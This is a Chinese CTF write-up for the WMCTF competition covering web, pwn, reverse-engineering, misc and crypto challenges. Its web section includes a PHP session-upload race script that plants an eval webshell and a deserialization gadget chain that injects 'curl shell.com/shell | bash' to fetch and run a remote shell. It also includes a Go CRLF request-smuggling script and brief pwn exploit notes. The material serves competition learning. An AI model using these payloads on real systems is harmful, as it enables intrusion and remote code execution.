[TOC]
Web
web_checkin
Third Blood
http://web_checkin.wmctf.wetolink.com/?content=/flag
Make PHP Great Again
session 包含1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26import io
import requests
import threading
sessid = 'TGAO'
data = {"cmd":"system('cat flag.php');"}
def write(session):
while True:
f = io.BytesIO(b'a' * 1024 * 50)
resp = session.post( 'http://no_body_knows_php_better_than_me.glzjin.wmctf.wetolink.com/index.php', data={'PHP_SESSION_UPLOAD_PROGRESS': '<?php eval($_POST["cmd"]);?>'}, files={'file': ('tgao.txt',f)}, cookies={'PHPSESSID': sessid} )
def read(session):
while True:
resp = session.post('http://no_body_knows_php_better_than_me.glzjin.wmctf.wetolink.com/index.php?file=/tmp/sess_'+sessid,data=data)
if 'tgao.txt' in resp.text:
print(resp.text)
event.clear()
else:
print("[+++++++++++++]retry")
if __name__=="__main__":
event = threading.Event()
with requests.session() as session:
for i in range(1,30):
threading.Thread(target=write,args=(session,)).start()
for i in range(1,30):
threading.Thread(target=read,args=(session,)).start()
event.set()
Make PHP Great Again And Again
Second Blood
因为 require_once 读不了 flag.php, 根据上一题 flag 的提示是 php 自己的问题, 找了半天发现
https://github.com/php/php-src/blob/master/Zend/zend_virtual_cwd.c
超过 32 层会停止读符号链接, 所以用 /proc/self/root 套 33 层娃即可1
http://v2222.no_body_knows_php_better_than_me.glzjin.wmctf.wetolink.com/?file=php://filter/read=convert.base64-encode/resource=compress.zlib://file:///proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php
webweb
反序列化 gadgets 挖掘, 没啥好说的, 需要注意下清空一些类的构造函数, 不然东西太多会 4131
2
3
4lib/cli/ws.php __destruct 入口, fuction 任意, 参数不可控, 是一个对象
lib/db/mongo/mapper.php $this->collection->insertone($this->document); 参数可控
lib/db/sql/mapper.php __call 替换 call 的 function, insertone->任意 function, 到这里可以用任意参数 call 任意单参数函数
lib/web.php send 读文件 或者 lib/base.php clear RCE1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23<?php
$f3 = require('lib/base.php');
$ws = new \CLI\WS("0.0.0.0"); //让 base autoload 函数加载 /lib/ws.php, 之后才能用 agent 类, 所以要套一层 ws
$agent = new \CLI\Agent();
$ws->a = $agent;
$sqlMapper = new \DB\SQL\Mapper();
$sqlMapper->setProps(array("insertone" => [new Base(), "clear"]));
$mongoMapper = new \DB\Mongo\Mapper();
$mongoMapper->setDocument("\$\n);system('bash -c \"curl shell.com/shell | bash\"');//");
$mongoMapper->setCollenciton($sqlMapper);
$event = array("disconnect" => [$mongoMapper, "insert"]);
$server = new \DB\Mongo();
$server->events = $event;
$agent->setServer($server);
$dump = serialize($ws);
system('curl http://webweb.wmctf.wetolink.com/?a=' . urlencode($dump));
gogogo
First Blood
三个点, math/rand 是伪随机, 而且不播种的话结果都是一样的, 本地用同样环境搭一个就可以拿到 admin session1
MTU5NjM2NzAwNnxEdi1CQkFFQ180SUFBUkFCRUFBQUpQLUNBQUVHYzNSeWFXNW5EQWNBQlhWdVlXMWxCbk4wY21sdVp3d0hBQVZoWkcxcGJnPT182OYB7Y3m7o504Bjnh5dnTgHrQ8H5hNSyzaYxDB0R0Po=
然后老版本 go 能 crlf, https://github.com/golang/go/issues/307941
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17import requests
for i in range(97, 122):
print(chr(i))
crlf = open('/tmp/7', 'rb').read().decode()
data = {
'fn': 'Req',
'arg': "http://127.0.0.1/auth/login?a= HTTP/1.1\r\nHost: 127.0.0.1\r\nContent-Length: 0\r\n\r\n" + crlf + '\r\n\r\n'
}
sess = requests.session()
sess.headers['Cookie'] = 'o=MTU5NjM2NzAwNnxEdi1CQkFFQ180SUFBUkFCRUFBQUpQLUNBQUVHYzNSeWFXNW5EQWNBQlhWdVlXMWxCbk4wY21sdVp3d0hBQVZoWkcxcGJnPT182OYB7Y3m7o504Bjnh5dnTgHrQ8H5hNSyzaYxDB0R0Po='
res = sess.post('http://gogogo.wmctf.wetolink.com/admin/invoke', data=data)
print(res.text)
最后 plugin 必须和编译主程序同一个版本才能被加载, 试了半天发现读 /proc/self/environ 可以读到是 1.9.7
之后编译一个传上去等应用重启就能 rce 了
1 | package main |
Pwn
mengyedekending
C# PWN
玄学啊,讲道理偏移指定为220是可以覆盖到num来触发后门的,但是我输入220之后偏移被赋值成了50?
没事了,\r可以无限地向后推index,推到num写个0就ok了
1 | from pwn import * |
csgo
过了100关之后发现一个栈溢出,本地调试通过覆盖栈上的参数泄露pie地址,部分覆盖返回地址跳回backdoor(这里要爆破1/16)。然后泄露链式栈地址用于定位/bin/sh
参数,最后ROP获得shell。
1 | from pwn import * |
其中hhh的源码:
1 |
|
https://github.com/sibears/IDAGolangHelper/tree/b6e7907755bd57f756a157b3cd7565e7ef7a5dec
roshambo
Second Blood
2a51—sha-256
最后有个堆溢出,malloc 0的时候会read 0xfffffffff
1 | #coding=utf-8 |
Misc
Dalabengba
先用EnigmaVBUnpacker.exe将游戏解包
然后开启rpgmaker开一个新项目,把www里面文件拷过去打开
在这个网站把素材解包https://petschko.org/tools/mv_decrypter/,把完整的放回文件夹里,这里要修改data/system.json的配置
“hasEncryptedImages”: false,
“hasEncryptedAudio”: false,
运行正常使用了
查找了国王最后成功的话
调试发现还是加密了,用了decText.js里面代码
参考RPGMaker防破解百度快照
去分析rpg_core.js,推出systemkey:”f74592328a168cf858e727078d4f6ab”,然后丢回包里看国王说的话,其实可以把所有发现加密的都跑出来看看有哪些东西
emm好像没flag
第一部分:
直接跳到最后的天空城关卡
发现移动路线组成单词Pr1nCe5s
第二部分:
文件part2.jpg
前面有一个do you know java ,查了java和图片隐写的东西
找打java盲水印工具:https://github.com/ww23/BlindWatermark,
需要拼接一部分,扫描出第二部分
W@rR1or
第三部分:
前面导入systemkey后使用加密的素材
看到国王的话逆序hex->ascii得到Y0u_@re_5o_bRaVE得到一个文件
搜文件名s3cr3t找到了个解密的https://gist.github.com/aanoaa/1408846
出了WhrRrrr~
XMAN_Happy_birthday!
翻转
Music_game
声控游戏,走到终点就出flag
Rev
Wmware
Second Blood
一个bochs,磁盘文件,010打开后看到了熟悉的0x55AA,拖入ida,选择16位.扇区是512字节为一个单位,这样可以找到一些代码,简单分析了一下发现是在输入,循环等待不停等待端口状态变化,然后读入,这里获得的是键盘的扫描码,转成了ascii,写到了显存的地址
用bochs自带的调试器调一下,在输入的时候中断,输入的跳出条件是读到回车的扫描码,继续调试,结合ida,发现他在进行一个6*6的循环,每次拿出来一个扫描码.加0x55后放到另外一个地方,有点像栅栏密码,后面切换模式到32位,运行保护模式的代码,这里可以开一个32位的ida,直接F5,发现循环xor了几个很臭的常数,选择臭常数的条件是循环的次数取余9,全部都是xor,写逆运算计算回来就行了
Welcome to CTF
一个windows逆向,一开始踩坑到了虚假的执行流,虚假的base64,虚假的xor,在init的时候,运行了好多函数,关于异常反调试等等,还有三处调用了ntdll里面的一个可以对抗调试器的函数.
既然这样,那就直接上trace了,手头有一个写好的工具,配合qemu,trace出了他所有的指令流
发现到这里了,跟进去看了一下,和假的那个函数差不多,直接逆了一下,发现有一个改了表的base64函数,后面是几个明显的大数计算,这里直接patch了他的ntdll那个函数的调用,可以调试了,在进入虚假的check函数时,修改eip到这个函数,手动跳过来,继续调试
整理出来大概的流程:
base64decode -> rsa -> 高60bit和低56bit分别做x y,计算x^3 + y^3 + z^3 = 43
这里的一个常数值是立方和=42的解,这里却还是43,先带进去42的结果生成一下flag,然后跑trace.
算了一下发现是错的,继续边trace边打印内存,发现base64的结果就不对了,但是log里还是有那个函数的痕迹的,继续查log,发现在初始化码表后,decode之前,有一个函数跳走了.那就是这里的问题了,读了一下码表,发现和直接dump出来的不一样,修了一下码表,最后又一次trace,发现已经输出GOOD了,估计那个43最后还是被改过,不过已经出了就没继续trace了.
easy_re
Second Blood
调试得到perl源码
1 | $flag = "WMCTF{I_WAnt_dynam1c_F1ag}" |
Meet_in_July
First Blood
check格式flag{}长度70
数字和大写ABCDEF
字符串转16进制后进sub_401909进行加密
主要是乘法减法mod三个操作
因为sub_401111操作结果都是32bytes,猜测是一个取模操作。
用了两组数据算出了模数:
1 | from Crypto.Util.number import GCD |
逻辑如下1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81输入flag{1234567812345678123456781234567812345678123456781234567812345678}
0xE98C3C3C3C3C3C3C3C3C3C3C3C3C3C6B15
0x1234567812345678123456781234567812345678123456781234567812345678
input*input
0x14b66dc208ba5f83fcbe5145f0c24307e4c634c9d8ca268bccce184dc0d20a0f8b69204d97652e8ba3613cc9af5d4b07bb595945c7556783d35175c1df4d840
-2
0x14b66dc208ba5f83fcbe5145f0c24307e4c634c9d8ca268bccce184dc0d20a0f8b69204d97652e8ba3613cc9af5d4b07bb595945c7556783d35175c1df4d83e
0x14b66dc208ba5f83fcbe5145f0c24307e4c634c9d8ca268bccce184dc0d20a0f8b69204d97652e8ba3613cc9af5d4b07bb595945c7556783d35175c1df4d83e*0x1234567812345678123456781234567812345678123456781234567812345678
0x1790fc4efe2923a51ea676027908f3670d509bd2db7d6f45e38f6dc0258697415aaff6dd5ca9006aead7b3ea053c115aabd618bcdea5ca109dab2555e8e62a689e5cde7db5cbad9a071fa7bd9258cce857771d1a567a98538f633e94023110
-0x1234567812345678123456781234567812345678123456781234567812345678
0x1790fc4efe2923a51ea676027908f3670d509bd2db7d6f45e38f6dc0258697415aaff6dd5ca9006aead7b3ea053c115aabd618bcdea5ca109dab2555e8e62a566a06666b81753587d2c92fab5e0254d62320a508222420415b0cc681cdda98
mod
0xF4, 0x56, 0x29, 0xCE, 0xB3, 0x4D, 0x25, 0xBD, 0xD4, 0xC2,
0xED, 0xDA, 0x01, 0xB2, 0x67, 0xDF, 0x8E, 0xBB, 0x5F, 0x00,
0x1F, 0x6D, 0x5A, 0x2F, 0x3D, 0x85, 0xE8, 0xF3, 0x8F, 0x45,
0xB3, 0x6F
这是mod1
0x14b66dc208ba5f83fcbe5145f0c24307e4c634c9d8ca268bccce184dc0d20a0f8b69204d97652e8ba3613cc9af5d4b07bb595945c7556783d35175c1df4d83e
mod1*input
0x60, 0xBA, 0x26, 0x58, 0x6D, 0x56, 0xC2, 0xF6, 0xBA, 0x2C,
0x2C, 0xFE, 0x23, 0x6D, 0x59, 0xD6, 0xBD, 0x02, 0xF6, 0x50,
0x08, 0x62, 0x54, 0x3C, 0xA9, 0x5E, 0xD7, 0x0B, 0xAD, 0x3A,
0xA2, 0xE1, 0x55, 0xF1, 0x6C, 0x91, 0x48, 0x55, 0xD1, 0xF2,
0xFA, 0x7E, 0x67, 0xEB, 0x91, 0x3E, 0x3A, 0x13, 0xF8, 0xA8,
0x9D, 0x98, 0xAD, 0x49, 0x3F, 0xAD, 0x0C, 0x4D, 0xBC, 0xDD,
0x08, 0x71, 0xF1, 0x07
mod1*input-0x14b66dc208ba5f83fcbe5145f0c24307e4c634c9d8ca268bccce184dc0d20a0f8b69204d97652e8ba3613cc9af5d4b07bb595945c7556783d35175c1df4d83e
0x22, 0xE2, 0x31, 0x3A, 0x11, 0x3F, 0x8D, 0xB9, 0x42, 0xD6,
0xB6, 0xA1, 0x8F, 0xD7, 0xA3, 0x5A, 0x0D, 0x2E, 0x00, 0xB6,
0x3B, 0x4E, 0x1E, 0x82, 0xC0, 0x0B, 0x61, 0x32, 0xA8, 0xA8,
0xEB, 0xE8, 0xB4, 0xD0, 0x5F, 0xB5, 0xC3, 0x73, 0x04, 0x36,
0x92, 0xDC, 0xDA, 0x4D, 0x45, 0xDB, 0xED, 0x94, 0xC7, 0x84,
0x91, 0x39, 0x99, 0x64, 0x73, 0x6D, 0x14, 0xA7, 0x30, 0xBD,
0x2C, 0x0A, 0xA6, 0x06, 0x00
和0xE98C3C3C3C3C3C3C3C3C3C3C3C3C3C6B15 + n mod
mod2
0x9C, 0x23, 0x26, 0x35, 0x7B, 0xB2, 0x09, 0xE8, 0xA0, 0xAC,
0x2D, 0x99, 0x7B, 0x0A, 0x8C, 0x99, 0xF6, 0x7C, 0x5F, 0xCB,
0x15, 0x6E, 0x54, 0xBA, 0xBF, 0x36, 0x3E, 0xC4, 0x50, 0xDB,
0xE6, 0x61
mod2*mod1
0xB0, 0x58, 0x4C, 0xB4, 0x20, 0x87, 0xA0, 0x19, 0x9D, 0xF5,
0x83, 0x1D, 0x83, 0x0F, 0xC3, 0xB8, 0x6B, 0x3D, 0x56, 0x42,
0xCF, 0xA7, 0xE8, 0x3E, 0xD1, 0xA5, 0xF3, 0xCE, 0x06, 0x6D,
0x45, 0x88, 0x7A, 0x85, 0xE1, 0x3C, 0x58, 0xA2, 0xBC, 0x11,
0x86, 0xF0, 0x1A, 0x7C, 0x4A, 0x5A, 0x41, 0xB7, 0x18, 0x9A,
0x0B, 0x09, 0xCB, 0x3C, 0xE4, 0x8E, 0x98, 0x86, 0xE8, 0xA4,
0x1D, 0xA8, 0xB7, 0x2A, 0x00
mod2*mod1-input
0x38, 0x02, 0x18, 0xA2, 0xA8, 0x30, 0x6C, 0x07, 0x25, 0x9F,
0x4F, 0x0B, 0x0B, 0xB9, 0x8E, 0xA6, 0xF3, 0xE6, 0x21, 0x30,
0x57, 0x51, 0xB4, 0x2C, 0x59, 0x4F, 0xBF, 0xBC, 0x8E, 0x16,
0x11, 0x76, 0x7A, 0x85, 0xE1, 0x3C, 0x58, 0xA2, 0xBC, 0x11,
0x86, 0xF0, 0x1A, 0x7C, 0x4A, 0x5A, 0x41, 0xB7, 0x18, 0x9A,
0x0B, 0x09, 0xCB, 0x3C, 0xE4, 0x8E, 0x98, 0x86, 0xE8, 0xA4,
0x1D, 0xA8, 0xB7, 0x2A
mod2*mod1-input和0xE98C3C3C3C3C3C3C3C3C3C3C3C3C3C6B15 + n mod
0x84, 0x89, 0x81, 0xDB, 0x91, 0x0B, 0x73, 0x5D, 0xAE, 0xE3,
0xC3, 0x37, 0x30, 0x51, 0x21, 0x52, 0xD5, 0x1B, 0x83, 0xD4,
0x37, 0x45, 0x8C, 0xA4, 0xF6, 0xBA, 0x76, 0xC3, 0xAF, 0xE3,
0xDD, 0xE2
mod3
mod3结果和
0x45, 0x84, 0x2F, 0x86, 0x44, 0x61, 0x1A, 0xDE, 0x59, 0x37,
0xD6, 0xD7, 0xC2, 0x8D, 0x6A, 0x67, 0xB1, 0x35, 0xB9, 0x53,
0xC7, 0xCF, 0xEF, 0xBD, 0xD5, 0x35, 0x85, 0x7D, 0x79, 0x04,
0x47, 0x23
比较
总结为:
$$
\begin{aligned}
y &\equiv x^2 - 2 \
z &\equiv y \cdot x - x \equiv x^3 - 3x \pmod{n} \
a &\equiv z \cdot x - y \equiv (x^3 - 3x )x - (x^2 - 2) \equiv x^4 - 4x^2 + 2 \pmod{n} \
b &\equiv a \cdot z - x \equiv (x^4-4x^2 + 2) (x^3 - 3x)
-x \equiv x^7 -7x^5 + 14x^3 - 7x \pmod{n}
\end{aligned}
$$
试了一下,模数n可以被分解为两个素数:
p = 320265757102059730318470218759311257989
q = 361550014853497117429835520396253724753
通过Mathematica可以分别在mod p和mod q上解出来x
然后再用CRT即可得到在mod n下的解:17608204545242378720348793798058123425575979093234353645947732994798163637792
程序输入flag{26EDE3FE048B6BFA04F647259A3F00505FD9C9CCB87298CD631FD91F17CCB620}
提交需要将”flag”改成”WMCTF”
easy_apk
一个安卓逆向,字符串都被加密了,看了一下调用了native的check函数,在ida里看了一下check函数,判断长度是不是32,然后取出偶数位,使用AES加密,然后用加密的结果,作为祖冲之算法的密钥加密全部的flag.
后来改题了AES生成的那个祖冲之算法的key,是已知的了,然后因为那个是流加密,所以直接把加密后的flag带回去就拿到flag了.
Crypto
babySum
Random BKZ Blocksize 24
1 | from json import load |
piece_of_cake
二维格可以用高斯格基规约,多试几组数据就可以跑出来了
1 | from gmpy2 import iroot, sqrt |
Game
1 | from pwn import remote |
idiot box
Second Blood
改过的DES 6轮差分攻击
现学:
- https://medium.com/lotus-fruit/breaking-des-using-differential-cryptanalysis-958e8118ff41
- http://www.cs.technion.ac.il/~biham/Reports/differential-cryptanalysis-of-the-data-encryption-standard-biham-shamir-authors-latex-version.pdf
现学材料里一个可能的疑惑点:第4轮的F函数中,有5个sbox的input(6bit)的差分值都是0,所以这5个sbox的output(4bit)的差分值也都是0,经过P置换后,得到的D’中有4*5=20bit是已知的,所以后面第6轮的F函数的output的差分值:$F’ = c’ \oplus D’ \oplus T_L’$中,有20bit是确定的;经过逆P置换后,得到第6轮8个sbox的outputs的差分值,其中有5个对应的sbox的output的差分值是已知的,所以能用medium里的那个方法把这5个sbox的key求出来。
c’为第3个F函数input的差分值,D’为第4个F函数input的差分值,F’为第6个F函数output的差分值,$T_L’$是密文左半部分的差分值。
攻击方法
DES里面就sbox比较难搞,其他的部分就是一些线性置换,可以通过一些差分特性去操作一下这个sbox,然后就能得到key。
简单来说就是,找到一个差分特征后,可以用这个特征推4轮,然后计算$F’ = c’ \oplus D’ \oplus T_L’$(第6轮F函数output的差分值),逆P置换,得到8个sbox的outputs的差分值out_xors,这个差分值的概率是最大的;接着,将2个已知的第6轮F函数的input(密文的右半部分)去做e扩展,得到$I_1, I_2$,分别分成8组${i_{11}, i_{12}, …, i_{18}}, {i_{21}, i_{22}, …, i_{28}}$,对应着8个sbox。
每一个sbox,对所有可能的64种key(6bit)作判断sbox($i_{1j}$ ^ key) ^ sbox($i_{2j}$ ^ key) == out_xors[j],如果等于,则将该key计数加1。尝试很多次后,必然有一个key出现的次数最多,且远超其他的key,该key即为正确的key。
这8个6bit的key合起来就是第6轮的subkey,又由于密钥扩展就是一个置换,可以反推出前面5轮的key。
把key反过来加密就能getflag。
手动寻找差分特征
1 | from collections import Counter |
发现了好几组非常优秀的差分特征。
以前我么得选择,现在我随便选。
就选这个0x00000040 -> 0x00000000 0.2534
画图分析
在线画图:https://draw.io
可以推出来$F’ = 0x00000040 \oplus T_L’$
获取数据1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34import re
from json import dump
from tqdm import tqdm
from Crypto.Util.number import long_to_bytes, getRandomNBitInteger
from pwn import *
def gen_diff_input(diff):
p1 = getRandomNBitInteger(64)
p2 = p1 ^ diff
return p1, p2
r = remote("81.68.174.63", 34129)
# context.log_level = "debug"
rec = r.recvuntil(b"required").decode()
cipher_flag = re.findall(r"\n([0-9a-f]{80})\n", rec)[0]
print(cipher_flag)
r.recvline()
pairs = []
for i in tqdm(range(10000)):
p1, p2 = gen_diff_input(0x0000000000000040)
r.sendline(long_to_bytes(p1).hex().encode())
c1 = int(r.recvline(keepends=False), 16)
r.sendline(long_to_bytes(p2).hex().encode())
c2 = int(r.recvline(keepends=False), 16)
pairs.append(((p1,p2), (c1,c2)))
r.close()
dump([cipher_flag, pairs], open("data", "w"))
差分攻击
1 | from collections import Counter |
WMCTF{D1ff3r3nti@1_w1th_1di0t_B0X3s}